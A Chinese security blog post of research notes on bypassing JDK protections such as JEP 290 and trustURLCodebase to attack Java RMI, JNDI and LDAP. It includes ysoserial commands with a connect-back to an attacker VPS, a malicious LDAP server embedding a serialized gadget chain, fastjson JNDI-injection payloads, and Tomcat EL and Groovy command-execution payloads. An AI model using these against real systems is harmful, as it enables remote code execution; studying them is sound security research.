1.关于RMI

只启用RMI服务时,这时候RMI客户端能够去打服务端,有两种情况,第一种就是利用服务端本地的gadget,具体要看服务端pom.xml文件

比如yso中yso工具中已经集合了很多gadget chain

本地利用yso的打rmi注册表的模块

java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 9999 CommonsCollections1 calc.exe

此时在jdk1.7.0_21和jdk1.7.0_25以及jdk1.8.0上都可以成功,然而在http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/这篇文章中说到jdk8u121以后进行了一定的限制

jdk1.8.0_121测试如下:

这种防御机制即JEP290,在jdk8u121提出的,简单来说就是在反序列化过程中处理ObjectInputStream加入了filter接口来进行过滤,与JDK112相比,这是jdk的开发人员在private ObjectStreamClass readNonProxyDesc(boolean unshared)函数中的1832行添加了一个filterCheck函数来进行过滤

这里我们直接在filtercheck处下断点就能再debug就能得到所有的函数调用栈

因为是利用rmiRegistryxploit来打RMI注册表服务,因此这里在RegistryImpl_Skel类中的dispatch方法过后就调用readObject了,接下来一直到ObjectInputStream中的调用了filterCheck,此时可以看到其入口为最外层的remote接口

在filterCheck中将会对反序列化的类的数据类型进行判断,如果不是基础类型以及数组那么将对要反序列化的类进行白名单校验,其中method接口和proxy类都是在白名单里的,因为ysoserial构造的payload用到了动态代理,因此这里class sun.reflect.annotation.AnnotationInvocationHandler肯定不符合这里的过滤规则,因此这里过滤器将返回rejected报异常了。这里过滤将根据不同情况返回UNDECIDED,ALLOWED,REJECTED三种,其中白名单要匹配以下这些类

java.lang.reflect.Proxy
java.rmi.server.UnicastRef
java.rmi.activation.ActivationId
java.rmi.server.UID
java.rmi.server.RMIClientSocketFactory
and java.rmi.server.RMIServerSocketFactory

此时客户端报错也可以看出被payload被过滤了,当然着JEP提供的这种过滤方式也支持我们自己配置,通过设置jdk.serialFilter或者直接在conf/security/java.properties中进行配置,具体的配置规则在http://openjdk.java.net/jeps/290 。 除了直接利用RMIregistryExploit,另外一种就是通过RMI listener的DGC机制来打RMI,我们知道只有当一个远程对象不受到任何本地引用和远程引用,这个远程对象才会结束生命周期。那么通过RMI注册表拿到远程对象的引用以后,肯定要与rmi服务端保持联系,以便于让服务端明白此时客户端已经收到远程对象的引用,并且要发心跳包给服务端(通知服务端客户端一直持有远程对象的引用)。所以DGC机制的通信过程和registryImpl没关系了,从下图的函数调用栈也可以看到DGCImpl_Skel后开始调用readObject了

打rmi registry的时候调用的实际上是registryImpl的checkinput,打DGC的时候调用的是DGCImpl的checkinput,上面的分析也已经知道jep290导致直接打rmi注册表的失败的原因是AnnotationInvocationHandler不在jdk允许反序列化的类白名单里,这个白名单就是jdk提供的一种内置过滤器,不需要开发人员做任何配置,那么jep290对DGC也提供了一些内置过滤器的白名单主要的类有,那白名单肯定也过不去了

java.rmi.server.ObjID
java.rmi.server.UID
java.rmi.dgc.VMID
java.rmi.dgc.Lease 

那么这种方式传输的序列化数据到服务端反序列化在jdk版本上也有限制,jdk8u112可以,jdk8u121也不行了,但是yso里面还有一种攻击方式,就是利用rmi注册表内置白名单里的unicastRef类,即利用UnicastRef类的对象,其可以进行反序列化,通过其使受害者服务器回连我们的vps上监听的JRMPListener,从而利用受害者本地的gadget完成rce,因此这种方法优先性上yso中JRMPClient性能由于RMIRegistryExploit,这里借用bsmali4师傅的一张图,攻击流程如下图所示

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollecitons1 'calc.exe'

java -jar ysoserial.jar JRMPClient 'vpsIP:PORT' > vulrServer

2.关于JNDI

RMI动态类加载(指定远程codebase)主要相关属性:java.rmi.server.useCodebaseOnly=false,到jdk7u21时就不能成功了

利用客户端指定javacodebase来加载远程class文件,这种需要有useCodebaseOnly的限制和securityManager的限制

JNDI+RMI加载相关属性:com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase,不加打到8u112,112的后一个版本jdk121即不可成功

即使设置System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true")为true后可以打到jdk8u181,191也不行了

JNDI+LDAP相关属性:com.sun.jndi.ldap.object.trustURLCodebase

ldap高版本的也做了一定的限制,利用JNDI+LDAP可以一直到jdk8u181,到191以后ldap就不能成功了。

jdk>1.8.0_181高版本对JVM对通过Reference来加载远程工厂类也通过trustURLcodebase为false做了限制,但是如果受害者本地的有存在漏洞gadget那么也能打。这里参考雨了个雨师傅的ldapserver,我们只需要更改其中的javaSerializedata属性即可

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64; import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.FileNotFoundException;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException; public class LDAPServer
{
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] agv)
{
int port = 1389;
String args[] = {"http://localhost:8000/#Exploit"};
if ((args.length < 1) || (args[0].indexOf('#') < 0))
{
System.err.println(LDAPServer.class.getSimpleName() + " <codebase_url#classname> [<port>]");
System.exit(-1);
}
else if (args.length > 1)
{
port = Integer.parseInt(args[1]);
}
try
{
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[] { "dc=example,dc=com" });
config.setListenerConfigs(
new InMemoryListenerConfig[] {
new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory)SSLSocketFactory.getDefault()) }
);
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch (Exception e)
{
e.printStackTrace();
}
}
private static class OperationInterceptor
extends InMemoryOperationInterceptor
{
private URL codebase;
public OperationInterceptor(URL cb)
{
this.codebase = cb;
}
public void processSearchResult(InMemoryInterceptedSearchResult result)
{
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try
{
sendResult(result, base, e);
}
catch (Exception e1)
{
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, MalformedURLException, FileNotFoundException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef()); //jjj.toString()
       //gadget 内容放到 javaSerializeData中
try {
e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofa" +
"q2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlv" +
"btD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAV" +
"TGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5n" +
"O1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVz" +
"c2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5T" +
"dGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFj" +
"ZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAI" +
"ZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fk" +
"cy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2Jq" +
"ZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJh" +
"dGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xs" +
"ZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51" +
"dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZM" +
"amF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwAB" +
"SQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rp" +
"b25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9M" +
"amF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMu" +
"bWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2Nv" +
"bGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9u" +
"cy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0" +
"AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9y" +
"Zy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAA" +
"BXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFu" +
"c2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGlt" +
"ZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3Jz" +
"Lkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmpl" +
"Y3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7" +
"eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVy" +
"ABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAA" +
"AAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAAC" +
"cHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAA" +
"AAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAA" +
"AXQACGNhbGMuZXhldAAEZXhlY3VxAH4AMgAAAAFxAH4AN3NxAH4AJ3NyABFqYXZhLmxhbmcuSW50" +
"ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAA" +
"AAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNo" +
"b2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA=="));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (ParseException ex) {
ex.printStackTrace();
}
} }
}

客户端只要对服务端进行查询即可

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import com.alibaba.fastjson.JSON;
public class LDAPClient1 {
public static void main(String[] args) throws NamingException {
Context ctx = new InitialContext();
Object object = ctx.lookup("ldap://127.0.0.1:1389/Exploit"); }
}

高版本的java对gadget可能有限制,因此要选用合适的gadget进行测试

下断点分析一下:

在com/sun/jndi/ldap/LdapCtx.class中,此时调用类obj的decodeObject函数来对javaSerializeData中的数据进行反序列化

然后在decodeObject函数中将对序列化存储的字符数据还原为对象

这里首先通过BasicAttribute拿到序列化数据的数组,然后在deserializeObject函数中还原为Object后再通过var20调用readObject()函数触发利用链

然后在deserializeObject函数中对var20调用readObject()函数触发利用链,此时用的CommenCollections6,打3.1

3.空指针的两道利用

在空指针那个题目中1.2.61的fastjson开了autoType的,有两种利用方法:

第一种:

{"@type":"org.apache.commons.proxy.provider.remoting.RmiProvider","host":"127.0.0.1",port:"1099","name":"tr1ple"}

这里明显存在RMI的利用,getObject函数的lookup函数,并且因此可以通过起一个JRMPlistener即可

其中这里host和port和name都可控

测试结果:

第二种:

利用SessionBeanProvider这个类

{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider", "jndiName":"ldap://127.0.0.1:1389/tr1ple","Object":"tr1ple2333"}

其getObject函数中明显存在jndi注入,不过本地测试需要自己起一个tomcat

其中payload要打两次,因为第一次需要将payload放进mappings,第二次在检测黑名单之前就能够在mapping中找到该类从而返回claaz

因为开了autotype,所以cacheclass为true,因此在parseConfig的1039行中调用了TypeUtils.loadClass将把SessionBeanProvider放到mappings中

第二次打的时候就可以从mappings中取到了

4.利用本地工厂类

tomcat8 :
Tomcat 8+ or SpringBoot 1.2.x+ in classpath,because javax.el.ELProcessor.

payload.java

package payloads;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.el.ELProcessor;
import org.apache.naming.factory.BeanFactory;
public class rmi {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1099");
Registry registry = LocateRegistry.createRegistry(1099); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}

利用要求是资源类要存在一个无参的构造函数,因为

并且这个类能够执行命令,并且执行命令的函数必须只有一个参数

目前网上找到有两种利用方法:

第一种利用:

org.apache.naming.factory.BeanFactory + javax.el.ELProcessor

声明一个x=eval ,将把EL类的eval方法放进hashmap

然后判断addtype的属性是否为那几个,不为则取出其内容,然后从hashmap里面取出这个属性的方法

然后再反射调用执行命令

第二种利用:

org.apache.naming.factory.BeanFactory + groovy.lang.GroovyClassLoader

其存在parseClass(java.lang.String)

java 命令执行:

package payloads;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef; import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class rmi2 {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
System.out.println("Creating evil RMI registry on port 1099");
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);

el + script engine执行命令:

windows:

1.new ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc.exe']).start();\")");

2.new ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")");

参考:

.https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247486485&idx=1&sn=ce367bafca4d0ca3130902568f7754b4&chksm=e89e24cddfe9addb0430d52e6e8c036ee94c2d84886d821dfea497d0dae323f8cfe4ef5eb38d&mpshare=1&scene=23&srcid=&sharer_sharetime=1579754849330&sharer_shareid=ae6683d6c0e7df9a0b7c15e7cacf6b3c#rd

2.https://mp.weixin.qq.com/s?__biz=MzU4MTg1NzAzMA==&mid=2247483796&idx=1&sn=ce4249ba61d7f402a1211e508f83d2b4&chksm=fd407bfdca37f2ebd51202f8221d320ccd639fd48d6a2adcb53c17ccb143fc3f037e6198662a&mpshare=1&scene=23&srcid=&sharer_sharetime=1579754892212&sharer_shareid=ae6683d6c0e7df9a0b7c15e7cacf6b3c#rd

3.http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/

java高版本打rmi注册表

4.https://xz.aliyun.com/t/2650#toc-1

5.https://www.veracode.com/blog/research/exploiting-jndi-injections-java

6.https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/

7.https://docs.oracle.com/javase/10/core/serialization-filtering1.htm#JSCOR-GUID-3ECB288D-E5BD-4412-892F-E9BB11D4C98A

8.https://www.cnblogs.com/Welk1n/p/11066397.html tomcat

9.https://www.freebuf.com/vuls/126499.html

10.https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html 讲rmi的

关于JDK高版本下RMI、LDAP+JNDI bypass的一点笔记的更多相关文章

  1. java高版本下各种JNDI Bypass方法复现

    目录 0 前言 1 Java高版本JNDI绕过的源代码分析 1.1 思路一的源码分析 1.2 思路二的源码分析 2 基于本地工厂类的利用方法 2.1 org.apache.naming.factory ...

  2. JDK几个高版本的新特性

    JDK 高版本的新特性 1.JDK5的新特性: 自动拆装箱 见Integer部分笔记 泛型 增强for循环 静态导入 可变参数 见集合部分笔记 枚举 是指将变量的值一一列出来,变量的值只限于列举出来的 ...

  3. html5调用本机摄像头兼容谷歌浏览器高版本,谷歌浏览器低版本,火狐浏览器

    做这个功能的时候在网上查了一些资料,代码如下,在这个代码在谷歌浏览器46版本是没问题的,在火狐浏览器也行,但是在谷歌浏览器高版本下是不兼容的 <div id="body"&g ...

  4. Java反序列化中jndi注入的高版本jdk绕过

    群里大佬们打哈哈的内容,菜鸡拿出来整理学习一下,炒点冷饭. 主要包含以下三个部分: jndi注入原理 jndi注入与反序列化 jndi注入与jdk版本 jndi注入原理: JNDI(Java Name ...

  5. Groovy在不同JDK版本下的性能差异

    Groovy作为一种动态语言,性能和JAVA比肯定是差不少,根据网友的测试,由于测试环境,场景和编译参数的不同,大概有差2到7倍的差距 那么同样的Groovy,在不同的JDK版本下,会有着怎样的差异呢 ...

  6. 在Centos环境下安装兼容Apache2.4高版本SVN服务

    在阿里云Centos环境下,搭建PHP运行环境,PHP选择了php7版本,Mysql选择了5.7版本,Apache选择了2.4版本,在搭建SVN版本控制服务过程中出现了不兼容问题,当前环境下Apach ...

  7. tomcat和jdk版本兼容(Tomcat版本要比jdk高)

    用的tomcat是低版本的,但是用的jdk却是高版本的,用Servlet做的项目运行都没有问题,但是直接运行jsp却死活都运行失败. 最后发现是tomcat和jdk的版本问题造成的. 总结如下: to ...

  8. 解决eclipse高版本JDK编译的项目到低版本JDK服务器上不能运行的问题

    错误提示信息:Unsupported major.minor version 52.0,意思是说,当前jdk的版本不支持更高版本jdk编译出来的class文件. 我的编译环境,eclipse使用的是j ...

  9. CentOS下安装高版本GCC

    CentOS下安装高版本GCC 微信分享:   有时编译需要用到4.8以上版本的GCC,由于CentOS源没有提供高版本的GCC安装包,这时就不能通过安装包安装.通常的解决方案就是通过编译安装高版本的 ...

随机推荐

  1. 面试官:你的App卡顿过吗?你是如何监控的?

    一.故事开始 面试官:平时开发中有遇到卡顿问题吗?你一般是如何监控的? 来面试的小伙:额...没有遇到过卡顿问题,我平时写的代码质量比较高,不会出现卡顿. 面试官:... 这回答似乎没啥问题,但是如果 ...

  2. 探讨UE4中的UBT和UHT

    前言 UBT和UHT是编译工具,谁定义的呢,虚幻引擎自己定义的,拿来做什么呢,UBT和UHT是UE4用来简化多平台编译,去除用户自定义平台编译项目的操作 我们写的UE4代码不是标准的C++代码,是基于 ...

  3. 跟我一起写 Makefile(六)

    书写命令 ---- 每条规则中的命令和操作系统Shell的命令行是一致的.make会一按顺序一条一条的执行命令,每条命令的开头必须以[Tab]键开头,除非,命令是紧跟在依赖规则后面的分号后的.在命令行 ...

  4. 让Dev支持C++11特性

    如果你使用的是 Dev-C++ ,忘记了在设置中包含 -std=c++11是无法让Dev支持C++11特性的,导致一些C++11 中的好用的函数可能会产⽣生编译⽆无法通过的情况. 这时候你有两个方法 ...

  5. MySQL-10-索引应用规范

    建立索引的原则 SQL文件 sql文件下载链接: https://alnk-blog-pictures.oss-cn-shenzhen.aliyuncs.com/blog-pictures/world ...

  6. Python - pydantic 入门介绍与 Models 的简单使用

    前言 为啥要学这个,因为 FastAPI 是基于它进行开发的,而且是个不错的框架,所以有必要深入学习 前置学习 Python 类型提示:https://www.cnblogs.com/poloyy/p ...

  7. logmein逆向

    IDA打开整体先看看. 学个函数: strcpy:即字符串复制 v8=这么一大串字符串 我们让程序调到sub_4007F0(),就OK. 我们使用python来写, 主要迷惑的还是下面都是情深深雨蒙蒙 ...

  8. RocketMQ可视化控制台

    中午文档 https://github.com/apache/rocketmq-externals/blob/master/rocketmq-console/doc/1_0_0/UserGuide_C ...

  9. C# 线程安全的集合

    参考网址: https://docs.microsoft.com/en-us/dotnet/standard/collections/thread-safe/ Thread-Safe Collecti ...

  10. QT 自定义控件 以及信号和槽的使用

    自定义login 控件 Login头文件 #ifndef LOGIN_H #define LOGIN_H #include <QWidget> namespace Ui { class L ...